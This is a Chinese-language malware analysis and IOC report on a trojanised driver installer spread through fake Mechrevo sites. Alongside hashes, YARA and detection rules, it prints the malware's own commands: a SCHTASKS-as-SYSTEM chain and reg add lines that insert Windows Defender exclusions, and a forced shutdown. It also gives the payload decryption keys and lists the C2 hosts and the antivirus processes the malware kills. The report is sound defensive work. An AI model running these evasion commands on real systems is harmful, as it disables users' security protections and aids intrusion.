3	`C:\Users\Public\CQALM9\msadox.tb`	—	`BA5AED7BA1F17B8087D3D6049DA1068B5032CBF0E2735D5C0916029757CD7A35`	`install_s.6.06.exe`	—
4	`C:\Users\Public\CQALM9\adoresd.dat`	PNG image, 96×96 RGBA · 4.67 MB	`2BA374CCC75C2701870C7A3BC458881BE8715ADA2EBF6A831BC80485E3C3944F`	`install_s.6.06.exe`(5140)	0/27 未知
5	`C:\Windows\Temp\ranchserv.jpg`	—	`C92E96632687169177CA0CB6C817AE030A9EFF2FFB15BDB8D551106BDC931FAD`	—	—
6	`C:\Users\Public\Music\destopbak.ini`	1 字节,内容就是 `0x01`(见下方 ⑥)	`4BF5122F344554C53BDE2EBB8CD2B7E3D1600AD631C385A5D7CCE23C7785459A`	—	—
7	`C:\Program Files (x86)\Lloyl6\Lloyl6.exe`	PE32 GUI i386 · 5 节 · 145.82 KB	`6D6BA2BC9AD414837826F7278BC3E0116F1AEDA02D0C2284ED65819F5D9180A8`	`M17pup.exe`(4380)	2/28 未知
8	`C:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\IE\HMJ5SQMT\drops[1].jpg`	PNG image, 96×96 RGBA · 27.46 KB	`A70E8F7D7D850F36F2C39D0D1B7DD964DDB15EE24755E660D14953665890D34A`	`M17pup.exe`(4380)	0/28 未知
9	`C:\Windows\System32\CodeIntegrity\SiPolicy.p7b`	—	`B3F17065ED63B17FFEF175F2979907D8EEF69A76BA4CBD1D9785035A0B1F0A10`	—	—

另有 内存文件 18 个。

从中能读出的东西

① ranchserv.jpg 存在。
之前这一条完全是靠 stage-3 明文里的字符串推出来的(C:\Windows\Temp\ + ranchserv.jpg),现在是沙箱亲眼看到的动态释放。静态预测对上了。

② adoresd.dat 和 drops[1].jpg 都是"图片马"。
两个文件的类型都写着 "PNG image data, 96 x 96, 8-bit/color RGBA" —— 但 adoresd.dat 有 4.67 MB。一张 96×96 的 RGBA 图原始数据才 96×96×4 = 36,864 字节,4.67MB 说明 PNG 后面附着大块加密数据(或者根本就是拿 PNG 头做掩护的容器)。27KB 的 drops[1].jpg 同理。

③ SiPolicy.p7b 落在 System32\CodeIntegrity\ 底下 —— 但这条得打个问号。

这个路径是 WDAC(Windows Defender Application Control)代码完整性策略的位置。假如确实是被写入/替换,那就是想放宽代码完整性策略、好让未签名驱动或程序能加载,对应 ATT&CK T1553.006(Subvert Trust Controls: Code Signing Policy Modification),也能和报告里那条 Sigma 高危 "Suspicious Driver Load from Temp (T1050 / T1543.003)" 对上。

但是要小心一个坑:SiPolicy.p7b 在某些 Windows 版本上是系统自带的默认策略文件,而且行为检测里同时还挂了条 "读取系统的信任设置"。所以存在两种可能:

样本写入/替换了策略 —— 那就是真攻击
样本只是读取了它,被沙箱的文件监控一并记进了"释放文件"名单

凭目前的材料分辨不出来,先别急着定性。 想确认的话:

在快照/还原点上比对运行前后该文件的哈希和 LastWriteTime —— 真被覆写的话时间戳一定会变
或者拿 Win10 1903 干净镜像里同路径文件的哈希来对比

我在本机(Win11 build 26200)查了一下,这个路径下压根没有 SiPolicy.p7b(Win11 已经改成 CodeIntegrity\CiPolicies\Active\{GUID}.cip 了),所以没法用本机做参照。结论:存疑,待确认。

④ 命名规律。

CQALM9、Lloyl6 —— 6 位随机大小写字母数字,每个受害者不一样
M17pup.exe —— 名字里的 pup 是这类 loader 的常见命名
UxEnhance64.dll —— 伪装成"用户体验增强"组件
msadox.tb —— 蹭 msadox(MDAC/ADO 组件)的名字,但扩展名是 .tb,典型的扩展名伪装 + 同名混淆

⑤ 关键点:主样本释放了 M17pup.exe,然后 M17pup.exe 再去释放 Lloyl6.exe 和 drops[1].jpg。
也就是说至少还有一层(样本 → M17pup → …),和之前分析出的三段式加载器接上了。

⑥ destopbak.ini 只有 1 个字节,内容是 0x01 —— 这个是反查出来的。

拿到完整哈希后我试了一下:SHA256(b"\x01") 正好等于

4bf5122f344554c53bde2ebb8cd2b7e3d1600ad631c385a5d7cce23c7785459a

和报告里 destopbak.ini 的哈希逐位相同。所以这个文件不是什么配置,就是一个单字节 0x01 的标记文件。

这也解释了两件事:

行为检测里那条 "读写 ini 文件" —— 它只是往这个位置写/读一个小标记
为什么叫 destopbak.ini 还放在 Music 目录里 —— 纯伪装,让人以为是某个软件的备份配置,不会多看一眼

一个单字节标记文件,典型用途是"这次已经跑过了"的幂等标记(避免重复执行),或者执行阶段的状态位(比如 0x01 = 已经提权成功 / 已经写好排除项)。具体含义还是得动态确认,但文件内容本身已经确定了。

顺带一提:这招很省事 —— 有哈希就能反推小文件的内容,不用把样本跑起来再导文件。当然只对内容可枚举的文件好使(几十字节级别的),UxEnhance64.dll 那种 3MB 的就没戏。

13.完整进程链和持久化

进程链

install_s.6.06.exe (PID 5140)   "C:\Users\Administrator\Desktop\install_s.6.06.exe"
 ├─ 释放 M17pup.exe / UxEnhance64.dll / msadox.tb / adoresd.dat
 └─ M17pup.exe (PID 4380)       C:\Users\Public\CQALM9\M17pup.exe
     ├─ 释放 Lloyl6.exe / drops[1].jpg
     ├─ cmd.exe → schtasks.exe ×N   （建计划任务提权写 Defender 排除）
     └─ cmd.exe → reg.exe ×N        （直接写 Defender 排除注册表）

共分析了 26 个进程。cmd.exe/schtasks.exe/reg.exe 被反复拉起,就是为了逐个往 Defender 排除列表里塞路径。

Defender 排除:真实手法比静态看到的更阴

静态分析时我们只看到 PowerShell 的 Add-MpPreference 和 Set-CimInstance MSFT_MpPreference。动态跑起来才发现它实际走的是另一条路 —— 借 schtasks 提权:

cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v "<目标路径>" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F

这个三段式很讲究:

SCHTASKS /Create ... /RL HIGHEST /RU "SYSTEM" → 建一个以 SYSTEM 身份、最高权限运行的一次性任务 —— 相当于绕过 UAC 提权
/Run → 立刻执行里面的 reg add,把目标路径写进 Defender 排除项
/Delete → 马上把任务删掉,任务计划里不留任何痕迹

结果就是:注册表里 Defender 排除项已经生效,但计划任务列表是干净的。 这比直接调 PowerShell 隐蔽得多 —— 而且它是纯命令行 + 系统自带工具,不依赖 PowerShell 执行策略,白名单放行 schtasks.exe/reg.exe 的环境根本拦不住。

被逐个写进排除项的路径:

目标路径	说明
`C:\Users\Public\CQALM9`	样本自己的落地目录
`C:\ProgramData`	通用可写目录
`C:\Users`	整个用户目录
`C:\Program Files (x86)\`	`Lloyl6.exe` 所在
`%USERPROFILE%\Documents` → `C:\Users\Administrator\Documents`	文档目录(银狐惯用窃密位置)

也有一部分是直接调 reg.exe 写的,不经过计划任务:

cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\CQALM9" /t REG_DWORD /d 0 /f
reg.exe    add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f

注意这里面没有出现 C:\ 全盘排除。也就是说之前从 stage-3 明文里解出的 Add-MpPreference -ExclusionPath 'C:\Windows',...,'C:\' 那段,和这次实际走的 reg add 路径是两条并行的方案(可能是版本差异或环境判断分支)。两种都要防。

Sigma 命中的 7 条

规则	标签	危险等级
Suspicious Driver Load from Temp	persistence; privilege_escalation; T1050; T1543.003	高
New RUN Key Pointing to Suspicious Folder	persistence; T1060; T1547.001	高
Suspicious Program Location with Network Connections	command_and_control; T1105	高
Autorun Keys Modification	persistence; T1547.001; T1060	中
PsExec Service Start	execution; T1035; S0029; T1569.002	低

⚠️ 多出来的两条线索:Suspicious Driver Load from Temp 和 New RUN Key(自启动项)。这说明样本还在尝试加载驱动 + 写自启动项 —— 报告正文没展开这两条细节,但方向已经明确,后面排查要重点看 HKLM\...\Run 和驱动服务项。

14.虚拟机里"文件看不见"的原理

跑完样本后发现两个问题,顺着上面的分析正好能对上:

在 Windows 里看不到 C:\Windows\Temp\ranchserv.jpg
任务管理器里能看到一个异常进程,但"打开文件所在位置"找不到 exe
用 Linux 挂载 Windows 系统盘,文件又能正常看到

1. 为什么会这样

现象	机制
Windows 看不到文件	① 隐藏属性(HIDDEN+SYSTEM) 或 ② NTFS 备用数据流(ADS)
任务管理器定位不到 exe	同上;或进程镜像路径被改写(PEB 篡改);或镜像文件已被删除
Linux 能看到	Linux 的 NTFS 驱动直接解析 `$MFT` 和目录索引,绕过 Windows 的过滤驱动栈,也不做"隐藏属性"的呈现过滤

最终payload里明确导入了 GetFileAttributesA / SetFileAttributesA,并且有 GetModuleFileNameA + CreateFileA/WriteFile(自拷贝改名),释放路径字符串里同时出现 C:\Windows\Temp\、\Users\Public\ 和 ranchserv.jpg,还有 checktime.vbs 用 WShell.Run """…""", 0, False 隐藏窗口启动。

所以最可能的形态是:

样本把自己复制成 C:\Windows\Temp\ranchserv.jpg(伪装成图片扩展名) → 加上 隐藏+系统属性 → 由 checktime.vbs 以隐藏窗口方式拉起 → 再删掉最初的落地文件。

2. 为什么 Linux 能看到

隐藏/系统属性对 Linux 只是元数据,ls -la、ntfsls -a 照样列出来
如果 Windows 侧有用户态 API hook 或内核 minifilter 在隐藏文件,Linux 读裸盘/NTFS 结构完全绕过它
如果是 ADS(ranchserv.jpg:payload.exe),ntfs-3g 会把它显式列成 ranchserv.jpg:payload.exe

反过来说:Linux 能看到 = 文件确实还在磁盘上。这基本排除了"运行中自删"这条,指向"被属性隐藏"或"被 API 层隐藏"。

顺带排除:Windows 只有 System32 会被 WOW64 文件系统重定向,C:\Windows\Temp 不会。

3. 怎么确认

:: ① 看隐藏/系统属性
attrib C:\Windows\Temp\*.*
dir /a C:\Windows\Temp

:: ② 看有没有数据流
dir /r C:\Windows\Temp
streams64.exe -s C:\Windows\Temp          :: Sysinternals,最直观

:: ③ 看进程真实镜像路径 + 文件是否还在
wmic process get ProcessId,Name,ExecutablePath,CommandLine
:: Process Explorer → 进程属性 → Image 页;灰掉或提示 not present = 文件已删/不可访问

:: ④ PowerShell 强制列出(含隐藏/系统 + 流)
Get-ChildItem -Force C:\Windows\Temp | Select Name,Attributes,Length,LastWriteTime
Get-ChildItem -Force -Stream * C:\Windows\Temp\ranchserv.jpg

Linux 侧对照:

ls -la /mnt/win/Windows/Temp/ | grep -i ranch
ntfsls -a -l /dev/sdXn | grep -i ranch

15.静态推断 vs 动态确认

新报告的行为检测清单帮助我们判断了一些之前的推测,而且补上了几条完全没发现的:

行为	之前的状态
将文件属性设置为隐藏	由 stage-3 里的 `SetFileAttributesA` 推断
将文件属性设置为删除(delete-on-close)	未发现
疑似 DLL 反射加载	未发现
创建计划任务定时启动	未发现
将函数插入线程 APC 队列(线程注入)	未发现
启动隐藏界面的进程	由 VBS `Run("""…""", 0, False)` 推断
检查适配器地址(检测虚拟网卡/沙箱)	未发现
调整内存权限为只读可执行	之前只发现 RWX
读写 ini 文件	未发现
读取系统信任设置	未发现
网络流量含多个不同 UserAgent	未发现
请求访问系统服务 / 调用 COM API	未发现
查询计算机名 / 获取系统信息	未发现
DNS 解析至对象存储域名 + 使用阿里云 OSS 通信	由字符串推断

"将文件属性设置为隐藏" + "将文件属性设置为删除" —— 这两条一出来,第十四节里我们讨论的"虚拟机里文件看不见"就有了直接证据:样本确实同时用了隐藏属性和删除标记两种手法。delete-on-close 特别解释了你看到的现象:

任务管理器里能看到进程,但"打开文件所在位置"找不到 exe —— 因为镜像文件被标了删除标记,句柄还在时看着"存在",实际目录项已经不可见/不可访问了。

这比之前"可能是 ADS 或属性隐藏"的猜测精确多了。

签名这件事:两份报告的矛盾要澄清

新报告的 Tags 里出现了 valid_signature(还有 codesign),看起来像是"签名有效"。但同一份报告的"签名信息"栏写的是:

签名验证:没有验证对象的数字签名。

"没有验证对象的数字签名" = 签名不覆盖当前文件内容 = 校验失败,和我们本地 Get-AuthenticodeSignature 得到的 HashMismatch 完全一致。

别被 Tags 里的 valid_signature 骗了 —— 那个字段大概是按"有没有签名块"打的,不能当白名单依据。判断一律用 Get-AuthenticodeSignature,Status ≠ Valid 就要拦。

顺手修正一处之前的错

之前记录里样本的 SHA1 写的是 663B2FC7…437A4A6336,这是错的。这次直接从 install_s.6.06.zip 里重新取出来算了一遍(只在内存里读,不落盘,避免杀软删文件):

install_s.6.06.exe   25,801,536 字节   CRC32 = 69346510
  MD5    = D6E55761DBFA2CDAAC8BE5BA22E39847
  SHA1   = 683B2FC74E3D28826E107B139421A104374A6336     ← 新报告的 SHA1 是对的
  SHA256 = 7B08F5CC5F06BB8019310967D1B4AD103E72720E2D165B9ED2F9BD503F513697

CRC32 = 69346510 和新报告里的 CRC32 一致,可以互相印证。

16.IOC 清单

汇总样本本体、下载包、各阶段payload、9 个释放文件的哈希,以及网络、主机、内存/代码各类 IOC,后面附可直接运行的 PowerShell 自查脚本和 YARA 规则。

16.1 文件哈希

对象	大小	MD5	SHA256
`install_s.6.06.zip`(下载包)	3,360,857	`02E04E63F242775609DC450D2BE23FF0`	`64BBC3F3B33A48AB0BF58B46EB1A17C592DFFFDBDDBAC1EF14C2678322B261C6`
`install_s.6.06.exe`(主样本)	25,801,536	`D6E55761DBFA2CDAAC8BE5BA22E39847`	`7B08F5CC5F06BB8019310967D1B4AD103E72720E2D165B9ED2F9BD503F513697`
stage-2(密文)	56,951	`4C3C3C7B2F3BFC0609808C2AA2FB3155`	`7F768D87B3DE83A78B051F05823E9D071E6C38AE7B0B7F36C35D611421BA0254`
stage-2(明文)	56,951	`415E3812AFF553C6EE5142E2A7FC07FA`	`1F7C6A684DEFB8676FC730D723FBD875CCB56BB5F5EE89CF81AA463EE2FD821F`
stage-3(最终payload,明文)	48,645	`9FEA7145DA4210DB350B259024E65C86`	`64B94F3033C864CF1EBDE915C98C93B13F574E15436D7844FE248D4780A3F54D`

主样本 SHA1(已修正):683B2FC74E3D28826E107B139421A104374A6336 · CRC32 69346510

释放文件哈希(动态捕获)

9 个文件,哈希全部完整(动态释放):

文件名	落点	大小	SHA256
`M17pup.exe`	`C:\Users\Public\CQALM9\`	135.83 KB	`676A2A7B94CA2F8EC76352EE656E4D075BB342BD7AD6EFBC7C19C060001EACE7`
`UxEnhance64.dll`	`C:\Users\Public\CQALM9\`	3.1 MB	`68C968EF2B7A3ED16AB2C38A247EC990F7CAEFE9BAB94535053C18021DC75C3C`
`msadox.tb`	`C:\Users\Public\CQALM9\`	—	`BA5AED7BA1F17B8087D3D6049DA1068B5032CBF0E2735D5C0916029757CD7A35`
`adoresd.dat`	`C:\Users\Public\CQALM9\`	4.67 MB	`2BA374CCC75C2701870C7A3BC458881BE8715ADA2EBF6A831BC80485E3C3944F`
`ranchserv.jpg`	`C:\Windows\Temp\`	—	`C92E96632687169177CA0CB6C817AE030A9EFF2FFB15BDB8D551106BDC931FAD`
`destopbak.ini`	`C:\Users\Public\Music\`	1 字节(`0x01`)	`4BF5122F344554C53BDE2EBB8CD2B7E3D1600AD631C385A5D7CCE23C7785459A`
`Lloyl6.exe`	`C:\Program Files (x86)\Lloyl6\`	145.82 KB	`6D6BA2BC9AD414837826F7278BC3E0116F1AEDA02D0C2284ED65819F5D9180A8`
`drops[1].jpg`	`%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\HMJ5SQMT\`	27.46 KB	`A70E8F7D7D850F36F2C39D0D1B7DD964DDB15EE24755E660D14953665890D34A`
`SiPolicy.p7b`	`C:\Windows\System32\CodeIntegrity\`	—	`B3F17065ED63B17FFEF175F2979907D8EEF69A76BA4CBD1D9785035A0B1F0A10`

destopbak.ini 的哈希等于 SHA256(b"\x01"),也就是说它就是个单字节 0x01 的标记文件(推导过程见 12 节 ⑥)。
SiPolicy.p7b 的"释放"属性存疑(可能是读取而非写入),见 12 节 ③。

从内存 dump 恢复出来的恶意模块(解密的模块本体)

模块	大小	SHA256
主后门 DLL(副本 A)	8,919,040	`3E4859FB544EC334FCA9D60E1F84C8DE2318B0FC0A1533457791F4A0DC1DF1C8`
主后门 DLL(副本 B)	8,919,040	`6B17F8CE9E2E1ECC4C18ED441F7C3AAA887FDEF317B1274BF57A03E2C11A9165`
主后门 DLL(副本 C)	8,913,408	`7A3FC74AACDB33400FFD846D93E4521F2B2B3878918104F9F670D8233A619333`
启动器 DLL	545,792	`77F7AF2B06D6C858D0296B5840773FBA72423C12A8487269CBF21291615C7E14`
内嵌 EXE(`4380_3952_8`@`0x2B400`)	327,680	`A860D0E069BDF65C831D808ABE1F8BB5E8FA8B5AD03FA297777435C734C61CBB`
控制台 EXE	303,616	`F16FF2756D4AA28D9036A13FC910E1BB8B09199B3C984F9A9B046385C7512BD4`
原生 EXE(8 节)	41,984	`DDC02FB701A2D9A40EEF91A3F57D3D7C1D125557A84499D887E997E49F3DF2F3`

这 4 个最大的区域曾被杀软当场删除,以上哈希是直接从 dump.zip 里读进内存重算的,可靠。

排除:5140_3340_46 / 5140_3340_47(各 2,002,944)是沙箱插桩过的 ntdll,不是样本文件,不要入库。

之前还分发过 install_s_6.04.zip(用户截图可见),建议一并按同名文件封禁。

16.2 payload解密参数

层	算法	参数
stage-2	自修改 dword 变换 + 滚动密钥 XOR	起始 key `0xD7`;自 `0xDE28` 向 `0x1F` 反向;每解一字节后 `key += 明文字节`;长度 `0xDE09`
stage-3	重复密钥 XOR	key = `4@e!c!bSL2AeimnwyD4x`(20 字节,循环);源 = stage-2 明文 `+0x29`;长度 `0xBE05`(48,645)
字符串	字母表 +9 位移(mod 26)	`ykkgj://` → `https://`;`.fjj-te-svzazex.rczpletj.tfd/` → `.oss-cn-beijing.aliyuncs.com/`

16.3 网络 IOC

C2(已确认完整)

类型	值
C2 域名①	`msi8s0.oss-cn-beijing.aliyuncs.com`(阿里云 OSS 北京)
C2 IP①	`61.135.144.223`(北京 · ASN 4808 CHINA169-BJ)
C2 域名②	`mm2027.oss-cn-hangzhou.aliyuncs.com`(阿里云 OSS 杭州)
C2 IP②	`101.67.62.101`(浙江杭州 · ASN 4837 CHINA169-Backbone · IDC/Hosting)
C2 URL 路径	`/tad`、`/a.gif`、`/b.gif`、`/c.gif`、`/d.gif`
DNS 特征	CNAME 经 `.oss-adns.aliyuncs.com` → `.gds.alibabadns.com`
JA3	`0018203a836e558a618fced9422659e1`
JA3S	`c521f5ea368e8889e8763aa907390209`
密码套件	`0xc027` (TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256)

投毒入口(钓鱼站)

类型	值
假冒站①	`zh-mechrevo.com.cn`（Edge 拦截过其下载）
假冒站②	`pc-mechrevo.com.cn`（本样本来源）
正牌对照	`mechrevo.com.cn` / `www.mechrevo.com.cn`
下载路径	`https://pc-mechrevo.com.cn/.../install_s.6.06.zip`

16.4 主机 IOC

类型	值
释放目录	`C:\Users\Public\CQALM9\`(目录名 6 位随机,如 `CQALM9`)
释放文件	`M17pup.exe`、`UxEnhance64.dll`、`msadox.tb`、`adoresd.dat`、`destopbak.ini`、`ranchserv.jpg`、`Lloyl6.exe`、`drops[1].jpg`、`SiPolicy.p7b`
持久化路径	`C:\Program Files (x86)\Lloyl6\Lloyl6.exe`（`Lloyl6` 为 6 位随机名）
释放位置	`C:\Windows\Temp\`、`C:\Users\Public\`、`C:\Users\Public\Music\`、`C:\Program Files (x86)\`、`C:\Windows\System32\CodeIntegrity\`、`%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\`
注册表	`SOFTWARE\JDBCC`(值名 `data`)
注册表(Defender)	`HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths` ← 被写入 `C:\Users\Public\CQALM9`、`C:\ProgramData`、`C:\Users`、`C:\Program Files (x86)\`、`%USERPROFILE%\Documents`
计划任务	`Task1`(`/SC ONCE /RL HIGHEST /RU "SYSTEM"`,`/Run` 后立即 `/Delete`)
伪装计划任务名	`MicrosoftEdgeUpdateTaskMachineCore1{...}` —— 冒充 Edge 更新任务
注册表(自启动)	`Software\Microsoft\Windows\CurrentVersion\Run` —— Run 键持久化
模块名 / GUID	`adoresd.dll` · `{4E062DDA-444A-A2A8-84CE-E105F66A5AB3}`
调试串	`[Main] Background thread started.`
命令行	`cmd.exe /c shutdown /r /f /t 0`
命令行(提权)	`SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v "<path>" /t REG_DWORD /d 0 /f"`
签名主体	`E=it@axiomjdk.ru, CN=AXIOM JSC, OU=Development, O=AXIOM JSC, L=Saint Petersburg, C=RU`
签发者	`CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE`
证书序列号 / 指纹	`366C6B03527160E7F6F87E3A` / `490C05588DC2E1B23C6C8A507F2FECAC454865A0`
证书有效期	2024-12-10 18:11:42 ~ 2027-11-22 17:24:38
版本信息伪装	`CompanyName=OpenIDE`、`FileDescription=Filesystem events processor`、`FileVersion/ProductVersion=14.0.0.20`、`InternalName/OriginalFilename=".exe"`

被针对性杀死/干扰的软件

360:360tray.exe · 360sd.exe · 360safe.exe · Q360SafeMonClass(窗口类)
火绒:HipsTray.exe · HipsDaemon.exe
金山:kxetray.exe · KSafeTray.exe · QHSafeTray.exe · cefutil.exe
Bkav:Bka.exe · BLuPro.exe · BkavService.exe · BkavUtil.exe
Defender 全家桶:msmpeng.exe · NisSrv.exe · MpDefenderCoreService.exe · securityhealthsystray.exe · mpcopyaccelerator.exe
腾讯电脑管家:QQPCRTP.exe · QQPCTray.exe
其他:WXWork.exe(企业微信,疑似窃密目标)

16.5 内存/代码 IOC（EDR 检测用）

类型	值
入口延时常量	RDTSCP 忙等 `0xEE6B2800`(4,000,000,000 个 TSC 周期);内层空转 16 轮 × `0x4E8A0C3`(82,354,371)= 1,317,669,936 次
计数器延时常量	`mov rcx, 0x15EEEAB7`(367,979,191 次 `dec rcx` / `jmp` / `jne`)
延时总量	合计 16.86 亿次循环 + 40 亿 TSC 周期;原生机器约 2–4 秒,指令级仿真器可达数分钟
垃圾指令特征	`41 81 F0 6E 74 65 6C` ×2(`xor r8d,'ntel'` 成对 no-op)
payload申请	`VirtualAlloc(NULL, 0xDE77, 0x3000, 0x40)` → RWX 0xDE77 字节
payload特征	高熵(7.997) 56,951 字节,首字节 `E8 24 DE 00 00`;尾部自修改 stub
解密密钥	`0xD7`(decoded prologue: `mov r8b,0xD7; mov rcx,0xDE09`),长度 `0xDE09`
关键 API(重置/断开)	`SetTcpEntry`(重置 TCP 连接)
关键 API(下载)	`InternetOpenUrlA` / `InternetReadFile`
关键 API(关机)	`ExitWindowsEx` / `InitiateSystemShutdownExA` / `OpenProcessToken`+`AdjustTokenPrivileges`+`SeShutdownPrivilege`
关键 API(ETW 致盲)	`EventRegister` + `NtTraceEvent` + `ntdll!VirtualProtect`
关键 API(进程/窗口)	`CreateToolhelp32Snapshot`+`Thread32First`+`PostThreadMessageA` / `EnumWindows`+`FindWindowExA`+`PostMessageA`
行为特征	文件属性设隐藏 / 文件属性设删除 / APC 队列注入 / DLL 反射加载 / 创建计划任务 / 隐藏界面进程 / 虚拟网卡检测 / 内存改 RX / 读写 `ini` / 读系统信任设置 / 多 UserAgent

16.6 快速自查(PowerShell)

# ① 按哈希查文件（主样本 + 下载包 + 9 个释放文件，共 11 个）
$hashes = @(
  '7B08F5CC5F06BB8019310967D1B4AD103E72720E2D165B9ED2F9BD503F513697',  # 主样本 install_s.6.06.exe
  '64BBC3F3B33A48AB0BF58B46EB1A17C592DFFFDBDDBAC1EF14C2678322B261C6',  # 下载包 install_s.6.06.zip
  '676A2A7B94CA2F8EC76352EE656E4D075BB342BD7AD6EFBC7C19C060001EACE7',  # M17pup.exe
  '68C968EF2B7A3ED16AB2C38A247EC990F7CAEFE9BAB94535053C18021DC75C3C',  # UxEnhance64.dll
  'BA5AED7BA1F17B8087D3D6049DA1068B5032CBF0E2735D5C0916029757CD7A35',  # msadox.tb
  '2BA374CCC75C2701870C7A3BC458881BE8715ADA2EBF6A831BC80485E3C3944F',  # adoresd.dat
  'C92E96632687169177CA0CB6C817AE030A9EFF2FFB15BDB8D551106BDC931FAD',  # ranchserv.jpg
  '4BF5122F344554C53BDE2EBB8CD2B7E3D1600AD631C385A5D7CCE23C7785459A',  # destopbak.ini (1 byte 0x01)
  '6D6BA2BC9AD414837826F7278BC3E0116F1AEDA02D0C2284ED65819F5D9180A8',  # Lloyl6.exe
  'A70E8F7D7D850F36F2C39D0D1B7DD964DDB15EE24755E660D14953665890D34A',  # drops[1].jpg
  'B3F17065ED63B17FFEF175F2979907D8EEF69A76BA4CBD1D9785035A0B1F0A10',  # SiPolicy.p7b
  '3E4859FB544EC334FCA9D60E1F84C8DE2318B0FC0A1533457791F4A0DC1DF1C8',  # 主后门 DLL A
  '6B17F8CE9E2E1ECC4C18ED441F7C3AAA887FDEF317B1274BF57A03E2C11A9165',  # 主后门 DLL B
  '7A3FC74AACDB33400FFD846D93E4521F2B2B3878918104F9F670D8233A619333',  # 主后门 DLL C
  '77F7AF2B06D6C858D0296B5840773FBA72423C12A8487269CBF21291615C7E14',  # 启动器 DLL
  'A860D0E069BDF65C831D808ABE1F8BB5E8FA8B5AD03FA297777435C734C61CBB',  # 内嵌 EXE
  'F16FF2756D4AA28D9036A13FC910E1BB8B09199B3C984F9A9B046385C7512BD4',  # 控制台 EXE
  'DDC02FB701A2D9A40EEF91A3F57D3D7C1D125557A84499D887E997E49F3DF2F3'   # 原生 EXE
)
Get-ChildItem -Path C:\ -Recurse -Force -ErrorAction SilentlyContinue -File |
  Get-FileHash -Algorithm SHA256 |
  Where-Object Hash -in $hashes

# ② 被滥用的签名主体
Get-ChildItem -Path C:\ -Recurse -Force -ErrorAction SilentlyContinue -Filter *.exe |
  Get-AuthenticodeSignature |
  Where-Object { $_.SignerCertificate.Subject -like '*AXIOM JSC*' } |
  Select-Object Path, Status

# ③ Defender 排除项被塞了可疑路径
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths' |
  Select-Object -Property * -Exclude PS*

# ④ 遗留的 Task1 计划任务 / 可疑目录
Get-ScheduledTask -TaskName 'Task1' -ErrorAction SilentlyContinue
Get-ChildItem 'C:\Users\Public' -Directory -Force |
  Where-Object Name -match '^[A-Za-z0-9]{6}$'
Get-ChildItem 'C:\Program Files (x86)' -Directory -Force -ErrorAction SilentlyContinue |
  Where-Object Name -match '^[A-Za-z0-9]{6,7}$'

# ⑤ 被隐藏/被标删除的文件（含数据流）
Get-ChildItem -Force -Recurse C:\Windows\Temp,C:\Users\Public -ErrorAction SilentlyContinue |
  Where-Object { $_.Attributes -match 'Hidden|System' -or $_.Name -match 'ranchserv|destopbak|adoresd|msadox' } |
  Select-Object FullName, Attributes, Length, LastWriteTime
Get-ChildItem -Force -Recurse C:\Windows\Temp,C:\Users\Public -ErrorAction SilentlyContinue |
  ForEach-Object { Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue } |
  Where-Object Stream -ne ':$DATA' | Select-Object FileName, Stream, Length

# ⑥ 代码完整性策略有没有被换掉
Get-ChildItem 'C:\Windows\System32\CodeIntegrity' -Force |
  Select-Object Name, Length, CreationTime, LastWriteTime

# ⑦ 注册表 JDBCC
Get-Item 'HKLM:\SOFTWARE\JDBCC','HKCU:\SOFTWARE\JDBCC' -ErrorAction SilentlyContinue

16.7 YARA 规则

规则文件 yara\install_s606_loader.yar,三条规则均实测命中:

Trojan_Win64_FakeDriverSite_Loader_install_s606  → hit install_s.6.06.exe
Trojan_Win64_Shellcode_Decryptor_XORD7           → hit shellcode.bin / install_s.6.06.exe
Trojan_Win64_Stage3_AVKiller_OSSDropper          → hit final_payload.bin / install_s.6.06.exe

覆盖:精确哈希、入口 stub 垃圾指令对、RDTSCP 延时常量、计数器延时常量、加载器字节序列、shellcode 头与自修改 stub、伪造版本信息与证书主体、Defender 排除命令、checktime.vbs、SOFTWARE\JDBCC、被针对的杀软名单、混淆后的 C2 片段(ykkgj://)。

建议补的规则:9 个释放文件的精确哈希(见 16.1)、C2 明文桶名 msi8s0.oss-cn-beijing.aliyuncs.com / mm2027.oss-cn-hangzhou.aliyuncs.com、SCHTASKS /Create ... /TN "Task1" ... Defender\Exclusions\Paths 组合、CodeIntegrity\SiPolicy.p7b 写入。

17.处置建议

检测规则(EDR / 主机 / 网络)

schtasks 创建 /RL HIGHEST /RU "SYSTEM" 的一次性任务,且 /TR 里含 reg add + Defender\Exclusions → 直接阻断
PowerShell 出现 Add-MpPreference -ExclusionPath 且参数含 'C:\' → 高危
Set-CimInstance MSFT_MpPreference + -Namespace root/Microsoft/Windows/Defender → 高危
非浏览器进程发 wininet!InternetOpenUrlA 到 *.oss-cn-beijing.aliyuncs.com / *.oss-cn-hangzhou.aliyuncs.com → 告警
命中 JA3 0018203a836e558a618fced9422659e1 且进程非浏览器 → 告警
短时间大量 SetTcpEntry(DELETE_TCB) → 告警
写入 C:\Windows\System32\CodeIntegrity\ 下任何文件 → 高危(代码完整性策略被改)。注意:该目录下的读取是正常行为,规则要按写入/创建事件告警,别把读取也算进去
在 C:\Users\Public / C:\Program Files (x86) 下新建 6 位随机名目录 → 告警
进程对自身镜像设置 FILE_ATTRIBUTE_HIDDEN / DELETE_ON_CLOSE → 高危
落地 checktime.vbs(C:\Windows\Temp\ / C:\Users\Public\)→ 直接阻断
写注册表 SOFTWARE\JDBCC → 直接阻断
ntdll 里 EtwEventWrite/NtTraceEvent 被 VirtualProtect 改写 → 高权限告警
命令行 cmd.exe /c shutdown /r /f /t 0 且父进程不明 → 告警
